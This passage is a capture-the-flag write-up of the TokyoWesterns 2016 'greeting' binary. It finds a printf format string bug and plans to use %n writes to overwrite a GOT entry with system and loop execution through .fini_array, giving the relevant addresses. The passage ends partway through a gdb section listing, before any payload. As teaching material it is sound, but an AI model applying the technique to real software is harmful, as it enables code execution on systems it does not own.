# Tokyowesterns 2016 greeting

Let's take a look at the binary:

```
$    file greeting-1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c
greeting-1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63, not stripped
$    pwn checksec greeting-1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c
[*] '/Hackery/all/tw16/greeting-1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

So we are dealing with a `32` bit binary, with a stack canary and non executable stack (but no RELRO or PIE). Let's see what happens when we run the binary:

```
./greeting
Hello, I'm nao!
Please tell me your name... guyinatuxedo
Nice to meet you, guyinatuxedo :)
```


So we can see that we are prompted for input, which it prints back out to us. Let's take a look at the binary in Ghidra:
```
void main(void)

{
  int bytesRead;
  int in_GS_OFFSET;
  char printedString [64];
  undefined name [64];
  int stackCanary;
 
  stackCanary = *(int *)(in_GS_OFFSET + 0x14);
  printf("Please tell me your name... ");
  bytesRead = getnline(name,0x40);
  if (bytesRead == 0) {
    puts("Don\'t ignore me ;( ");
  }
  else {
    sprintf(printedString,"Nice to meet you, %s :)\n",name);
    printf(printedString);
  }
  if (stackCanary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

So we can see that in the `main` function, it runs the `getnline` function which scans in input and returns the amount of bytes read (I will cover that function next). It scans in data into the `name` char buffer. Proceeding that if `getnline` didn't scan in `0` bytes, it will write the string `"Nice to meet you, " + ourInput + " :)\n"` to `printedString`, then prints it using `printf`. Thing is since in the `printf` call it doesn't specify a format to print the input, this is a format string bug and we can specify how our input is printed. Using the `%n` flag with printf, we can actually write to memory. Since RELRO isn't enabled, we can write to the GOT table (the GOT Table is a table of addresses in the binary that hold libc address functions), and since PIE isn't enabled we know the addresses of the GOT table.

Looking at the `getnline` function, we see this:
```
void getnline(char *ptr,int bytesRead)

{
  char *pcVar1;
 
  fgets(ptr,bytesRead,stdin);
  pcVar1 = strchr(ptr,10);
  if (pcVar1 != (char *)0x0) {
    *pcVar1 = '\0';
  }
  strlen(ptr);
  return;
}
```

It just scans in `bytesRead` amount of data (in our case `0x40` or `64` so no overflow) into the space pointed to by `ptr`. Proceeding that, it will replace the newline character with a null byte. It will then return the output of `strlen` on our input.

Now the next thing we need will be a function to overwrite a got entry with. Looking through the list of imports in ghidra (imported functions are included in the compiled binary code, and since pie isn't enabled we know the addresses of those functions) we can see that `system` is imported, and is at the address `0x8048490` in the plt table:

```
                             **************************************************************
                             *                       THUNK FUNCTION                       *
                             **************************************************************
                             thunk int system(char * __command)
                               Thunked-Function: <EXTERNAL>::system
             int               EAX:4          <RETURN>
             char *            Stack[0x4]:4   __command
                             system@@GLIBC_2.0
                             system                                          XREF[2]:     system:08048490(T),
                                                                                          system:08048490(c), 08049a48(*)  
        0804a014                 ??         ??

```

We can also find the address using `objdump`:
```
$    objdump -D greeting | grep system
08048490 <system@plt>:
 8048779:    e8 12 fd ff ff           call   8048490 <system@plt>
```

So we will overwrite a got entry of a function with `system` to call it. The question is now which function to overwrite? Now we run into a different problem. The only function called after the `printf` call which gives us a format string write, is `__stack_chk_fail()` which will only get called if we execute a buffer overflow which we really can't do right now. We will overcome this by writing to the `.fini_array`, which contains an array of functions which are executed sometime after main returns. We will just write to it the address which starts the setup for the `getnline` function, to essentially wrap back around. We can find the `.fini_array` using gdb while running the program:
```
gef➤  info file
Symbols from "/Hackery/all/tw16/greeting".
Native process:
    Using the running image of child process 18898.
    While running this, GDB does not access memory from...
Local exec file:
    `/Hackery/all/tw16/greeting', file type elf32-i386.
    Entry point: 0x80484f0
    0x08048134 - 0x08048147 is .interp
    0x08048148 - 0x08048168 is .note.ABI-tag
    0x08048168 - 0x0804818c is .note.gnu.build-id
    0x0804818c - 0x080481b8 is .gnu.hash
    0x080481b8 - 0x080482a8 is .dynsym
    0x080482a8 - 0x08048344 is .dynstr
    0x08048344 - 0x08048362 is .gnu.version
    0x08048364 - 0x08048394 is .gnu.version_r
    0x08048394 - 0x080483ac is .rel.dyn
    0x080483ac - 0x08048404 is .rel.plt
    0x08048404 - 0x08048427 is .init
    0x08048430 - 0x080484f0 is .plt
    0x080484f0 - 0x08048742 is .text
    0x08048742 - 0x08048780 is tomori
    0x08048780 - 0x08048794 is .fini
    0x08048794 - 0x080487fd is .rodata
    0x08048800 - 0x0804883c is .eh_frame_hdr
    0x0804883c - 0x0804892c is .eh_frame
    0x0804992c - 0x08049934 is .init_array
    0x08049934 - 0x08049938 is .fini_array
    0x08049938 - 0x0804993c is .jcr
    0x0804993c - 0x08049a24 is .dynamic
    0x08049a24 - 0x08049a28 is .got
    0x08049a28 - 0x08049a60 is .got.plt
    0x08049a60 - 0x08049a68 is .data
    0x08049a80 - 0x08049aa8 is .bss
    0xf7fd6114 - 0xf7fd6138 is .note.gnu.build-id in /lib/ld-linux.so.2
    0xf7fd6138 - 0xf7fd6214 is .hash in /lib/ld-linux.so.2
    0xf7fd6214 - 0xf7fd6314 is .gnu.hash in /lib/ld-linux.so.2
    0xf7fd6314 - 0xf7fd6554 is .dynsym in /lib/ld-linux.so.2
    0xf7fd6554 - 0xf7fd677a is .dynstr in /lib/ld-linux.so.2
    0xf7fd677a - 0xf7fd67c2 is .gnu.version in /lib/ld-linux.so.2
    0xf7fd67c4 - 0xf7fd688c is .gnu.version_d in /lib/ld-linux.so.2
    0xf7fd688c - 0xf7fd69dc is .rel.dyn in /lib/ld-linux.so.2
    0xf7fd69dc